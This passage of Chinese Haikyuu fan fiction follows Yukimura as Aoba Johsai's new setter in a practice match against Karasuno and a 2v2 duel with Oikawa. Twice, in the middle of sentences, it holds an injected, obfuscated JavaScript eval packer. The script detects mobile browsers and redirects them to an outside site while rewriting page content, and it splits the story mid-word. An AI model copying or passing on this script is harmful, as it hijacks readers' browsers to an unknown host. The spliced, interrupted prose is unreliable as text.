不管是幸村预判了他的预判，还是幸村开始就算计好了一切，刚才那一球对于乌野来说，都是必死之局。 如果他没有组织调整，那么幸村就是直接扣球，调整之后，就变成了金田一扣球。 “对面二传的洞察力非常可怕。”那种彷佛将一切都看穿的眼神，只要对上，就让人觉得窒息。 现在回想，影山依然觉得恐怖。 影山的视线越过球网，精准找到幸村所在的位置。 幸村恰好抬眼，唇边漾起一抹若有似无得笑意，说：“你们的弱点，都被我看穿了。” 当影山将球传给日向的时候，乌野才能够打出快攻，因为日向的速度和弹跳力是绝无仅有的。 只是很可惜，这样的才能，幸村也有，并且他更懂得如何布局。 “你究竟是如何做到的？”走一步算三步，一个人真的可以考虑那么长远吗？ 影山的问题，让所有人都意思到了刚才一球的关键所在，纷纷将视线落在了幸村身上。 “乾坤未定，你我皆是棋子。”只见幸村悠悠开口，“我只不过是将所有的可能都考虑到了而已。” 然后选择其中得分率最高的那一条。 12.赛后秘密活动 “说什么呢，小幸村？你就是这么看待前辈们的吗？”花卷一把拍在幸村后背之上。 幸村冰冷的视线扫过去，吓得他立马将手缩了回去。 “就是个比喻而已，前辈不用在意。” 别说他们了，在比赛场上，他自己也不过就是一颗为了取得胜利的棋子罢了。 金田一则是兴奋地凑到幸村身边，夸张得说：“幸村，你刚才的传球真的太精准了，我从来没有打过这么舒服的一球。”不仅仅是将球送到他的手中，更是连进攻路线都安排好了。 “我真怕和你再这么打下去，自己会变成一个傻子。” 球虽好，但是好得太过了点。 “这叫甜区一球，每一个球，都有一个最佳击打点，等后面我专门帮你训练一下，就不用这样将甜区准确送到你手中了。”毕竟，要计算这么多变量，可是很耗费精神力的。 松川一脸受到了惊吓的表情看着幸村：“这样的事情，只有那些职业级别的选手才能做到吧，没想到小幸村你这么恐怖！” 最佳击球点，在很多球类的运动中都有，只是想要在千变万化的比赛中掌控这一点可不是那么容易的，尤其是控制别人的最佳击球点。 一名运动选手，因为手感、或者细微的小动作，每个人的最佳击球点都不相同，能够看穿金田一的最佳击球点，并且利用这一点的幸村，可见他的真实实力有多恐怖。 看到队友们的震惊，幸村只是笑笑，并没有再答话。 总不能说，这样的能力就像是与生俱来一般，自然而然就在比赛中发挥出来了吧？ * 比赛继续，青叶城西和双方的攻防再次爆发，这一次双方二传手的对位更加激烈。 幸村和影山在比赛中的计算让双方的队伍频繁调整站位。 “哈，‘王者’又要开始了吗？我们可跟不上你的速度呢。”月岛看着两人你来我往的热血对位，终于忍不住出声嘲讽。 这样高强度的变换，双方都没有拿下一分不说，体力消耗才是巨大的。而明显的，对方的二传更游刃有余。 就在月岛开口的瞬间，幸村直接扣球，为青叶城西再次拿下一分。 额头间的细汗顺着发丝滑落，影山喘着粗气，双肩不停起伏，和幸村的对位之中，不管他怎么计算，对方的应对都完美无缺，那种无力感如汹涌的海浪将他吞没。 影山停下了动作，对于月岛的嘲讽并没有理会，而是默默打算下场，来到泽村面前说：“队长，我申请换人。” 影山的话犹如平地惊雷，将整个乌野队员都炸了出来。 菅原孝支作为原本队伍里的二传手，立马察觉出不对劲来：“影山……” “菅原学长，小心，不要和对方的二传正面对位。” 这话之后，影山并没有多说，只是猛地摇摇头，想让眼中模糊的视线更加清晰一点，却没有什么效果。 这也是他为什么要坚持换人的核心理由。 幸村给对手的威压，只有承受了他百分之百火力的影山才清楚有多可怕。 影山不再多说，走到旁边休息的椅子前坐下，拿起一旁备好的白色毛巾一把盖在自己头上，将自己笼罩在黑暗之中。 其他人见状担忧不已。 田中手指着幸村直接喊话：“喂，你究竟对我们一年级后辈做了什么？” 说着，作势就要冲过去。 眼见对面田中的举动，青叶城西这边也动了，京谷贤太郎上前将幸村挡在身后，直视着对面。 “冷静一点，田中。”东峰旭一把将田中扣住，避免他冲动行事。 “你们不用担心，影山君过一会儿就会恢复的。”打了这么久的球，幸村也是将对手的资料观察清楚了，只是他没有想到影山会如此果断。 不过想想也不意外，排球比赛是六个人同时在场上，视线受阻的话，不仅自己无法看清球路进行有效传球，甚至会挡住队友的路，所以换人才是最明智的选择。 幸村都这样说了，乌野众人也不得不得放下心中担忧，毕竟众目睽睽之下，幸村也的确没有做什么，一切都是他们关心则乱。 菅原孝支歉意道：“非常抱歉，我们可以继续比赛吗？”菅原很想知道，影山究竟在比赛中经历了什么。 “没关系。继续比赛吧。”岩泉没有过多纠缠，他能说他也吓了一跳吗？ “哟，不是比赛吗？你们怎么都站桩似的不动呢？” 突然的声音传入，众人纷纷朝门口侧目。 “是老大！” “队长回来了。” “啊啊啊，老大再不回来我的心就要被幸村君给抢走了。” “我的心已经给幸村君了，及川君，我对不起你……” 激动的欢呼声顿时想起，主场的迷妹们纷纷发出尖叫。 不是救世主的降临，而是青叶城西两位“美神”同框的画面太过美好，让人心情愉悦。 及川肆意地享受着众星捧月般的感觉，双手插兜，无意间瞥一眼赛场，发现坐在椅子上正低着头，不知天地为何物的影山眉头一挑，再看一眼计分板，这才悠悠转过头，目光最终停留在了幸村身上。 “小幸村，你果然没有让本大人失望嘛！” 现在青叶城西和乌野的比分是22：11，这么大的差距，加上影山的下场，这场比赛已经毫无悬念了。 毕竟，影山可以说是他的半个徒弟，对影山的实力，及川比一般人更清楚。 接下来的比赛，就像及川想象的那样，菅原的上场一开始的确给幸村造成了不小的麻烦。 菅原和影山不同的就是，他和乌野其他二、三年级的选手有着常人没有的默契，这种默契让幸村的计算有了些微误差。 当数据被打破，幸村必须重新花费时间来收集资料，因此，青叶城西虽然赢了，最后的比分却相差不大。 25:21，青叶城西2:1获胜。 双方列队，敬礼！ “多谢指教！” “多谢指教！” 泽村和岩泉握手，夸赞道：“你们青城今年来了个了不得的新人呢。” 岩泉答：“乌野今年也不错，新人的素质都很高。” “下一次应该就是在正式的比赛上了吧，我们一定会赢回来的。” “青城可不会输。” 双方队伍管理员在这里互相放着话，其他选手也没闲着。 影山和幸村面对面站立，看着幸村温润含笑的精致脸庞，话在心里憋了很久，影山终于说出了口，“你，幸村君、你的实力真的很强，这局是我输了。” 幸村点点头，点评道：“是你的进攻点太单一了，不过我相信，只要不断进步，乌野很快就会有更多的进攻手段了。” 影山和日向的联动虽然可以给对手来个出其不意，但是人外有人，天外有天，不管是碰到像幸村这样依靠过硬的实力去反击，还是依靠策略去封锁日向，都是非常容易被破解的一招。 这场比赛乌野的得分，基本都是依靠他们两个联动，一个招数用多了，那就会变得平平无奇。 因为对手，会适应你的节奏。 其实幸村和影山所处的位置很相似，一样优于其他队友的实力，在乌野，只有日向可以跟上影山的极致托球，而在青城，可以说暂时还没有人能跟上幸村的速度。 所以，幸村和影山考虑的方向就变得不同。 幸村是将自己的水平降低到和其他队友同一个水平线上，或者提前做出暗示，让队友在他需要的位置上去等待，方便他的下一步计划。 只有在队友被对手全面封锁的时候，幸村才会用尽全力去救场。 比如，刚才比赛时，日向的那一击扣杀，看准了青叶城西前排的防守弱点，后排由于幸村的位置，其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441876|182484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成员如果救场队形就会混乱，从而导致犯规，这时候就轮到幸村出场了。 极致的速度和全场的防守范围，让他能够轻易追上来自对手的球，敏锐的洞察力和精准预判让他能够在一瞬间做出反击路线。 可以说，幸村将自己的实力达到了收放自如的境界。 影山作为二传手，对排球的布局非常敏锐，立马察觉到其中关键说：“你这样的打法，没有了你，整个队伍都会崩盘吧。” “嗯，没错。”幸村点点头，然后瞥一眼还在场外和迷妹们挥手的自家队长，笑道，“但是青叶城西，不止有我一个二传。” 自己和及川前辈互为二传的比赛，应该会相当精彩。 影山顺着视线看过去，看到熟悉的背影后，身体一僵，脸色有些不自然地抽了抽。 ‘多日不见，及川前辈还是老样子。’ 同时，影山也明白了，相对于乌野的全体尽出，青叶城西明显保留了很强的战力，只及川彻一个人，就可以提升青叶城西队伍整体实力一大截。 乌野想要走向全国的愿望，任重而道远呐…… * “好了，大家收拾一下，便可以回去了。” 教练一声令下，众人纷纷散开。 幸村来到更衣室换好衣服，恰好国见也走了过来。 “幸村桑，你居然是二传手。” 感受到国见有些幽怨的眼神，幸村眼角眉梢荡开了笑意，语气认真，道：“我会好好给国见桑托球的哦。” 幸村如此温柔的攻势让国见有些招架不住，连连摇摇，表示自己刚才并没有责怪他的意识，然后保证道：“幸村君的托球很厉害，我的扣球也不会让你失望的。” 见对方如此慌乱，幸村眼神一转，笑着提议道：“既然我们达成了共识，不然我们一起去进行一个增进感情的活动吧？” “什、什么活动？”国见问。 幸村目光微闪，无情地吐出两个字，“保密。” 交谈完毕，两人边说边走出更衣室，门一打开，正要走出去的幸村为眼前一幕停下了脚步。 “金田一，当初的事，我……” 影山还想说些什么，金田一却直接打断了他的话：“你不用跟我道歉，我也不会接受你的道歉。过去的事情，我永远也不会原谅。” 这话感情太充沛了，幸村不觉偏头看向国见，询问具体情况。 于是国见为幸村科普了一番他们和影山国中时期的恩怨。 他、金田一、影山，国中都是北川一中排球部的队员。 影山作为优秀的二传手，实力全国瞩目，但是，他只会一味的要求队员去接他的传球，愤怒队友为什么不可以再快一点或者再跳高一点…… 时间一久，队伍中积压的不满越来越多，最终他们选择了不再接影山的传球。 哪怕，这是一种背叛。 可是作为队长，不能够及时解决与队友的矛盾，又何尝不是另一种“背叛”呢？ 而“球场上的王者”，这个称呼就是队友对影山最无情的嘲讽。 幸村听后唏嘘不已，最终只能感叹一句年少轻狂。 虽然金田一最终没有接受影山的道歉，但是看到对方如今的变化，金田一对影山的态度也不像一开始那样冷嘲热讽，看来已经不再对过去耿耿于怀了。 等乌野众人走后，幸村非常大气地邀约金田一和他们一起去放松。 最后，明月高悬。 金田一和国见看着摆在自己面前的泡面，一脸生无可恋。 两人异口同声质问道：“所以，你说的秘密活动就是吃泡面？” 幸村抱着自己的泡面，闻了闻，露出满足的微笑：“对啊，你们不觉得这个牌子的泡面很香吗?” 看着幸村彷佛在发光的双眼，国见和金田一只能舍命陪君子了。 反正，来都来了嘛…… 13.及川的决定 013 及川的决定 是夜，青叶城西排球部会议室，二、三年级的正式成员继开学之后第二次全员齐聚。 只是相比起上一次的轻松热闹，这一次的氛围显得格外沉重。 及川坐在主位之上，看着低头不语的众人，深呼口气，最终还是第一个开了口。 “青城和乌野的比赛，想必大家都了解了，小幸村完成的太好了，不过我这次想要说的是，他那么努力，想要的可不仅仅是二传手的位置。” 轻快的语气加唇角上扬的笑意怎么也掩盖不住那一丝丝苦涩。 他为之努力许多年的成果，不及“天才”的十几天。 “笨蛋及川，不想笑就不要笑，丑死了。”即使是可靠温厚的岩泉，此时也忍不住心中的悲凉。 矢巾秀作为及川二传手的接班人，现在位置被一个一年级截胡，可以说是他高中的二传生涯至此已经没有了多大的意义了，说不难过是假的，但是竞技体育，菜是原罪。 他没有及川那样努力得来的实力，也没有幸村那样神赐一般的天赋，默默退出球场，好像是如今最体面的一种方式。 只是，他不明白，除了二传手的位置，幸村居然还想要更多。 “二传的位置都给他了，他还想要什么？”矢巾问，语气中是他强迫自己的释然。 “应该，是话语权。”花卷猜测着说，他虽然不怎么在乎在外的影响，但是作为一起打了两年的队友，还是有很深厚的情意在的。 “没错。”及川肯定了花卷的猜测，“如果仅仅是一个位置，又怎么能称之为‘革命’呢？” 第一次见到幸村的时候，及川便知道，他不是一个会甘于屈居人下的一个人，只不过是初入这个圈子，将自身身上的锋芒藏匿起来罢了。 “什么意思？难道——”听到及川的话，松川心下一紧，连忙追问，“他还想当队长不成？” 这未免也太过狂妄了！ 此话一出，空气中瞬间弥漫着一种无形的火药味。 但是，松川的话也直接点明了及川让他们今天聚在这里开会的目的。 及川现在很冷静，冷静得他面上还能带着若有似无的浅笑。 看一眼在座的众人，这些都是跟随他从高一到高二一直比赛的队伍，没想到高三会有这么大的一个变数。 众所周知，一支球队中，除了教练外，队长就是这支队伍中拥有最大话语权的人，幸村想要在排球部拿到话语权，“队长”这个位置是最快也最直接的办法。 “两年了，青城最高的成绩也不过是打入春高宫城县地区预选赛的决赛，而且只是个季军。” 季军两个字及川压得极重。 只有预选赛的冠军才能够代表宫城县参加全国大赛，可以说，季军什么也不是。 “今年是最后一年，我不想青城连出赛的资格都没有。” 及川说得轻松，可是这些话也代表了他放手一搏的决心。 身为二年级的矢巾秀不太认同道：“就算是队长说的这样，也不一定就要将队长的位置让出来，而且二、三年级的成员也不会同意被一个一年级压一头吧。” 及川收敛了笑意，直视众人的目光，认真道：“如果只是想要在预选赛出线，的确不需要这么大的变化，可是之后呢？” “青叶城西在全国可以说是查无此名，我们和全国八强队伍的差距连我们自己都不知道。” “即使是这样，我也想要在这一届春高上，让青叶城西的名号在全国大赛决赛的场馆上响起，想要将冠军的奖杯捧回。” 在幸村出现之前，及川坚信青叶城西可以打入全国大赛，可是这其实只是一个信念，作为队长，如果他都不看好青叶城西，那么这支队伍必然走不下去。 但是在幸村出现之后，他看到了一种可能，一种青叶城西夺冠的可能。 就算，这个“可能”发生的概率也许还不到十分之一，他也不想放弃。 “青叶城西，是时候大‘变革’了。” 最终，所有的想法都只汇成了这样一句话。 是无奈，又是感慨！ 及川的话，让在座的大家纷纷沉默下来。 这是多大的气量才可以轻描淡写的将自己拥有的东西拱手相让？ 同时，他们也终于明白了自家队长身上所背负的重担。 看似不靠谱的及川，原来一直独自一人负重前行…… 岩泉看幼驯染似乎已经下定了决心，于是开口问：“入畑教练不会同意的吧？” 这一句话，代表了岩泉对及川做法的认同。 及川立马将自己的安排说出，“我已经和教练说好了，明日我和小幸村将举行2V2对位赛，我赢了一切照旧，如果是小幸村获胜，就由他来接替队长的位置。” “那么，你想要我们怎么做呢？”花卷问。 “今晚开会的目的是，不管明天的比赛结果如何，大家都要服从安排。如果小幸村赢了，希望你们能够将他视为队长和队伍的核心，这样二队和其他成员也不会闹得太大。” “排球毕竟不是一个人的游戏，我们是一个整体。” 变革往往伴随着血雨腥风，而及川想要做的，就是将这一切扼杀在摇篮里。 毕竟，留给青叶城西的时间，已经不多了。 岩泉作为及川的幼驯染，自然明白他一路走来的心酸，如今及川既然做出了决定，那么也是时候作为青叶城西的副队长表态了。 “笨蛋及川，你今天怎么那么有队长风范了。” 一句调侃，代表了岩泉坚定跟随及川步调的态度。 岩泉话落，及川目光扫向其余人。 花卷摔先开口，说：“放心吧及川，无论明天如何，我们一定稳住排球部的军心，你也永远是我们的队长。” “没错，谁说队长只能有一个，一个在明面上，一个在心里头，又有什么不可以呢？”渡亲治立马跟上。 “就是这样！” “说的太对了。” 其他人也是点头附和。 及川一脸感动，无脸大呼：“呜呜呜～原来你们这么喜欢本大人，我真是太感动了。” “你还能哭得再假一点吗，队长？” “气氛都被你打破了……” “什么嘛，就不能让本大人多感动一会儿嘛？” “b ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16483285|182484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' alabala……” 会议在众人的打闹中结束，而青叶城西今天和乌野练习赛的胜利，也代表着幸村作为二传手的胜利，同时也是排球部变革的标志性比赛。 * “快看，他就是那个一年级二传。” “他也太低调了吧，我对他的印象除了脸好看外，平时训练没感觉他有多强啊。” “听说只有和他对位过的人知道他的实力，可是除了刚开学那一场摸底测试，他就打了昨天那一场比赛。” “我怎么记得他以前打主攻手的位置呢？难道是我记忆错乱了？” “你没记错，因为我也是这样的记忆。” “也许这就是选手实力强大后的任性。” “谁说不是呢？” “我好羡慕啊……” “谁说不是呢！” “你要是没话说就闭嘴。” “谁说不……” 也许是昨天和乌野的练习赛二传手太过亮眼，以至于幸村今天刚踏入排球馆，就感觉到从四面八方射来的视线在自己身上停留。 细碎的声音时不时地传入耳中，幸村淡然地从众人身边路过，直奔更衣室换好训练用的队服。 当他再次来到练习室内，所有人已经被入畑教练安排好基础训练。 幸村刚打算步入球场，旁边一位成员直接叫住了他。 “幸村同学，及川学长叫你换好衣服就直接去A区一号球场报道。” 幸村听后朝他露出温和的笑容，说：“好的，谢谢藤川同学帮忙传话了，我这就过去。” 说完，幸村转身朝一号球场而去，留下一年级新生藤川呆愣在原地。 “喂，藤川，你在发什么呆呢？还不快过来接着训练啦。” 身后对练的搭档看到迟迟不动的藤川不耐地叫喊。 藤川回头，双眼闪着亮光：“幸村、幸村同学他居然记得我的名字！” “切，有什么好激动的，上次我在外面给学长们买东西回来提不了，还是幸村同学叫住我帮我一起提的呢，最后还避免了我因为迟到被学长们骂的惨剧！” “哇，幸村同学太善良了，简直就是天使！” “……” 幸·天使·村自然不知道在自己走后还发生了这样的小插曲，不过，就算他知道了也只会一笑而过。 * 青叶城西的A区球场是专门给正式队员和预备队员加强练习的球场，而一号球场更是重中之重。 “恭喜你了小幸村，第一道测试圆满完成，现在就让我们开始最终测试吧！” 及川看到熟悉的身影过来，连忙挥手打招呼。 幸村走近，有些不明所以，问：“居然还有最终测试？” “难道你不想要更实用的东西？”及川反问。 ‘更实用的东西？’ 幸村只是思考一秒，便知道了自家队长话中的意思。 不可否认，他可耻地心动了。 反正幸村就是有一种直觉，队长的位置就该是他的，否则也太不合理了。 幸村抬眸，漂亮的双眼中是志在必得，“那我就，却之不恭了，及川队长！” 14.2V2对位赛 “哈！” 早就猜到幸村反应的及川发出一声轻叹，然后立马进入赛前状态，朝众人吩咐道：“一年级，小英跟我一队，小岩和小幸村一队，所以——” “及川队VS幸村队，现在开始。” 两边都是一个一年级加一个三年级，同时也都是二传手加主攻手的配置，这纯粹就是一场同位置选手的对位战。 从及川宣布比赛后，一号球场上的氛围就充满了火药味。 “及川学长今天给人的感觉好像有些不太一样。” “看起来比以往更加认真。” “是的，他都不笑了……” “为什么队长要和一个一年级的新生比赛啊？” “为了调/教新人吧，这两天那个一年级太出风头了。” “……” 要是及川知道他们在说些什么，肯定立马让他们喜提基础训练菜单一套，然后大呼： 难道在你们心中，本大人就这么没有容人之量吗？ 场外裁判所在地，看到双方已经在自己的位置上站好后，松川正打算吹响哨子的时候，手中的哨子被人接过。 “这场比赛，让我来吧。” 熟悉的沙哑声音传来，松川回头一看，连忙让出位置，“是，入畑教练。” 嘀—— 哨声嘹亮，响彻整个场馆。 幸村深深看一眼对面，暗中思索着。 ‘既然是专门的对位赛，那么发球得分也没有多大的必要了。’ 想罢，只见幸村双手托着排球，在哨声响起的那一刻轻松抛球起跳，将球发了出去。 这一记发球，中规中矩。 对面，站在后排的及川看到没什么攻击力的发球，立马明白过来幸村的意思。 没什么将对手正面击溃更让人信服。 ‘小幸村，该说你是太低估我呢？还是太高估自己呢？’ 已经了解排球的幸村，这记发球的高度并不是很高，不足以让对面一手扣球。 只见国见在排球过网后，退后毫不费力用两只手将球拖起，精准地送给身后的及川。 排球缓缓深空，及川紧盯对面。 对面前排主攻手岩泉一，三年级生，他将国见的路线直接封锁，可以说找不到一丝破绽。 而在后排，知道幸村防守的范围，及川自然不会傻到选择他作为突破口。 ‘没关系，比赛才刚刚开始，就看哪一方先露出破绽了。’ 如此想着，及川将球传向前排的左上角。 当比赛之中，不适合扣球的时候，就尽量消耗对手的体能，而最能够做到这一点的，就是让对手来回奔跑。 国见作为“六维”全面平均发展的一位选手，在及川的球传过来时立马便跑了过去。 来到排球的最高点，国见纵身一跃，身体立时腾空而起。 视线向下方投去，就如及川所预料的，这一球并不是好的进攻机会。 啪—— 手掌和球体相撞，发出一声巨响，排球顿时如利箭射出，目标是对面后方的右下角。 在国见扣下球的刹那，岩泉一个跨步朝自己的右场跑去，排球过网，即将下落的时刻，直接伸手起跳。 指尖和排球相触，球体速度瞬间慢了下来。 “一次！” 中气十足的声音响起，这是岩泉在告诉队友自己拦网成功。 扣球的威力巨大，前排成员除了负责进攻外，最主要的还是拦网。 这样可以减轻排球的冲击力，以便队友更容易接球。 看着悠悠过来的球，幸村来到球的落点前，在球过来的瞬间，微微旋转身体，手臂绷直，看准时机斜切而下，手掌和排球相撞，过大的体积和过慢的速度让幸村不由蹙眉。 ‘既然速度和力道都不太够，只能自己施加力道了。’ 如此想着，在手臂即将送出球的一刻，手腕轻转，原本匀速转动的球体在这一刻高速旋转，随后手臂一推，毫不费力就是一个半截击。 在球送出的一刻，幸村瞳孔微微一缩。 ‘作为二传手，自己刚才是不是不该直接扣球？’ 这一幕不仅幸村自己觉得有异，就连球场外围观的众人也没有想到。 “他这个时候不是应该传球给副队长吗？怎么直接进攻了？” “他到底会不会打排球？” “这样的球会触网吧，简直就是在给对手送分。” “……” 周围的窃窃私语都是对幸村这一球的不看好，而在计分板处，青叶城西原本二、三年级的正式队员也纷纷讨论起来，而问题核心和其他人一样，这一球幸村不该进攻。 “虽然不应该进攻，但是，他此时发起进攻我们完全没有想到，这算不算是出其不意，兵行险招呢？”松川思索着反问，像是在问自己，也是在问别人。 “你说的倒也没错。”花卷点点头，肯定了松川的问题。 所有人都没有想到的，出乎意料的一球，及川和国见也很有可能没有想到，这样一来，这一球未必就不是一个拿分的好球。 不过，这一切都有一个前提。 矢巾秀直至要害：“那也要他能过网才行吧。”没过网一切都是空谈。 要知道，排球场的中心网可比网球场的中心网高多了，在低于球网的后排直接进攻，简直就是愚蠢的行为。 ‘这么低的球，会触网吗？’国见看着急速飞驰的球体，仿佛一道耀眼的白光从球场划过，要不是自己动态视力超级好，这样的球会在眼前直接消失也不一定。 抛球离网越来越近，国见双目一睁：“排球居然在升高？” 诧异之于，已经来不及思考，眼见球就要过网，国见连忙飞身救球，如此快速的旋转力，及川前辈若是直接用手接球只怕会不稳，必须为前辈做好缓冲才可以。 虽然他的速度不慢，可刚才思考的刹那，排球如光束般前行，国见就算看出了球路，此时也已经来不及了，只能眼睁睁看着球从自己面前擦肩而过。 嘭—— 排球砸落在地，巨大的声响在场馆中久久回荡。 就如其他人的猜想一样，对于幸村的半截击，速度快过了以往对手的球，也太过意外，超出常理，所以及川也没有 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“幸村错就错在，抢了岩泉作为主攻手的职责，在正式比赛中，二传手抢了主攻手的活，那主攻手又该干什么呢？” 矢巾作为唯一剩下没有上场的二传手，这一刻最有发言权，“当选手在赛场上丢失了自己的目标，那将是球队非常可怕的灾难。” 幸村不管是防守还是进攻都太过完美，这导致了他会下意识地去打出自己认为正确的球路，可是其他人不可能跟他一样，可以配合他每一次的出其不意，当队伍失去配合，也就给了对手进攻的机会。 这样的情况发生后，只要幸村不改变，那么队伍的劣势就会像滚雪球一样，越来越大，最终被对手淘汰出局。 可以说，成也幸村，败也幸村！ “可是昨天也没发现幸村有这样致命的问题啊？”金田一仍旧想不通幸村这一球为什么会进攻。 “也许——”渡亲治看着相比正式比赛空荡很多的球场猜测道，“是因为现在球场上他的队友只有一个人。” 六个人的球场，可以说是将幸村前后左右都封死了，极大地限制了他的发挥，因此，昨天和乌野的比赛他需要考虑的因素更多，但是现在只有岩泉一位队友。 作为后场的幸村，其实可以说是整个半场都是他一个人的也不为过。也是在这样的情况下，幸村可以放心大胆的进攻，想怎么打就怎么打，只要能得分就好。 当然，这也只是表现，这场比赛有一个前提，那就是“对位比赛”，幸村作为二传手和及川对位，如果他在比赛中不传球，那么这场比赛将变得毫无意义。 这就是及川质问幸村的原因，也是幸村截击后动作停顿的重要原因。 2V2的赛场给他的感觉太过熟悉，让他不由自主就放飞自我了。 那种刻在身体本能的肌肉动作，此时成了幸村最大的败笔。 球场之上，幸村沉默良久后才缓缓开口：“一球而已，比赛才刚刚开始。” 及川听后勾唇：“要是你再打出这么糟糕的球，本大人可是会很失望的哟。” 15.幸村回敬的传球 啪—— 啪—— 接下来的比赛，幸村说到做到，克制了自己独当一面的想法，开始专攻传球之道。 没有了幸村异于常人的进攻方式，双方的比赛成为了一场拉锯战。 岩泉作为副队长，实力各方面来说都在一年级的国见之上，可是败就败在，及川身为二传手，对岩泉太过了解，每次幸村给岩泉的进攻性传球都会被对面提前防守。 “要想突破及川前辈的提前布局，必须比及川前辈看得更远才行。” 这是一场对幸村身为二传手的考验，一旦失败，之后的时间他就只有乖乖听话的份儿，这不是幸村想要看到的。 而在球网的另一边，随着时间的推移，国见的心态开始有了松动。 ‘每次的防守都是在后排一传，岩泉前辈的力道太重，想要在网前拦网，手会被直接弹开，可若是继续让及川前辈一传，我们这边就失去了很多进攻的机会。’ 及川第一时间察觉到了后辈的心态不稳，连忙出声安抚：“小英不要多想，专心比赛，只要跟着本大人的节奏来就对了。” 国见一个深呼吸，道：“我明白的，队长。” 话是这样说，可是要打破幸村的防守，还真不是好操作的。 ‘无论是速度还是计算能力，小幸村都当之无愧的强大，自己想要得分，能依靠的只有一点。’ 如此想着，及川视线悄无声息地从岩泉身上跳过。 也就是这一刻，岩泉猛然退后，动作太快，幸村根本来不及阻止。 就像开始说的，及川了解岩泉，而相对的，岩泉也很了解及川，可以说，一直在及川背后默默支持跟随的岩泉比及川了解自己更了解他。 因此，当及川一个细微的眼神扫过时，岩泉立马做出了行动。 这一动，便将主动送到了及川手中。 只见及川迅速将手中的球传了出去，方向正好是岩泉防守的方向背面。 从上场就被对面压着的国见，在这一刻用出了全身的力气将球扣杀而出。 速度太快，幸村想要救场只能直接进攻，因为排球比赛不能持球和连续两次接球的规定，他若是传球，为了保证前排岩泉能够回来击球，这颗球的高度必定高过岩泉起跳后的最高击球点。 若是降低高度，那么这一球将会因为扣杀的力道不够，直接被对面前排的国见在网前扣杀得分。 从网前到地面，他们只有不到半秒的救球时间，这么短的距离，岩泉起跳还没落地不说，就算幸村上前救球，后排没有防守的情况下，只要瞄准底线进攻，最终也只能被对方扣杀得分。 进攻还是防守？ 这一刻，幸村迟疑了。 “前辈的洞察力，真是让人心惊。”幸村悠悠赞道。 看穿对手的弱点并加以利用，这便是及川彻的可怕之处。 幸村的话岩泉也听在耳里，看到幸村迟迟没有起跳传球的打算，他也明白了自己是被幼驯染给骗了。 “幸村，传球吧，只要是二传手传过来的球，我一定会接到。”一定！ 岩泉朝身后大喊着，自己的失误，不到最后一刻绝对不能放弃。 幸村听后不再多想，起跳伸手，将球传了出去。 排球没入高空，由于身体惯性，岩泉回身接球的动作和幸村预想中的一样慢了半拍。 极限之所以是极限，就代表着这条线并不是那么容易突破的。 不出意料的，接下来的局面和幸村预判中的一样，这一球最终由对面拿下。 “队长计算的也太精准了吧，真不愧是他。” “和及川比起来，iwa酱还是差了点啊。” “两队的实力看起来是幸村队更强，但是及川队有了岩泉这个幼驯染，最后的比分还真不好说。” “就看接下来幸村队该如何反击了，不然比赛的输赢应该就没有什么悬念了。” “……” 接下来的比赛就像进入了拉锯战，被封锁进攻能力的幸村想要保证自家队友不被对手的假动作欺骗，只能疯狂根据对手的行动报坐标。 “左□□一。”意思是往左三步，再往后退一步。 “右五进二。” “……” 没办法，幸村也不想这么保姆似的指挥，但是他和岩泉前辈搭档的次数实在是少，默契最多有个三分，所以只能用这样的笨办法了。 而岩泉也不傻，在幸村报了几次坐标后，立马就知道了幸村选择防守点的规律。 每一次都在国见对角的中线上。 这样的一个位置，不管对手打在左边还是右边，他都能够第一时间去支援接球。 排球在球场上不断来回，国见紧盯幸村传球的动作，“左，还是右？” 只见白皙的手臂在空中和球接触，对方的手腕却没有一丝发力的迹象。 ‘换手指传球了吗？怎么可能？’ 国见震惊，想要仔细看清，却发现眼前突然变得模糊，等他再次看清的时候，球已经传到了岩泉的手上。 接下来两球，幸村如法炮制，顺利为自己队拿下两分。 “这是怎么回事？小英怎么了？”金田一第一时间察觉出国见的不对劲。 “不好说。”松川一脸沉思状。 其他人也没有开口，这样奇怪的一幕，他们也没有见过。 “是旋转。” 最后还是入畑教练经验老道，直接点出了幸村传球的把戏，“在传球的时候，通过手指的力道给球身施加意想不到的旋转。对于一直紧盯幸村传球的国见来说，动态视力想要跟上幸村的传球需要非常专注。” “在国见的眼中，就像有好几颗球在空中跳跃一般，这非常消耗他的精力，同时也会造成他双眼的短暂失明。” 花卷追问：“如果是这样的话，国见只要盯紧小岩的动作就行了，何必要浪费精力去盯幸村？” “这正是幸村可怕的地方，就像魔法一般，球最终都会落在岩泉的手上。幸村的传球，不是传给队友，而是国见。 ” 其实事情很简单，只有两个字——计算。 通过对国见肢体的精密计算，幸村传出的球最终都会因为对方的回球而送到岩泉的手中。 在岩泉被及川封锁的情况下，幸村选择一传直接传到国见手中，再通过国见的手，传回给前排的岩泉。 传给对手，怎么不算是传球呢？ 只是这个过程，需要幸村在传球之前就预判出国见的回球球路，这也是幸村的传球为什么要施加旋转，并且还角度刁专的原因。 只有国见不得不回球的传球，才能够让他的预判成为现实。 就像先前，及川算准了幸村的传球会将胜利送给他们一样，幸村也算准了国见只有传球才能避免轻易失分的可能。 如果国见放弃传球，而是将球传给及川，那么幸村就会快速回防，再次发起这一环节，若是国见直接选择放弃一传，由及川传球，前排岩泉的防守根本无法攻克。 这就导致了，幸村的预判非常精准的呈现了出来。 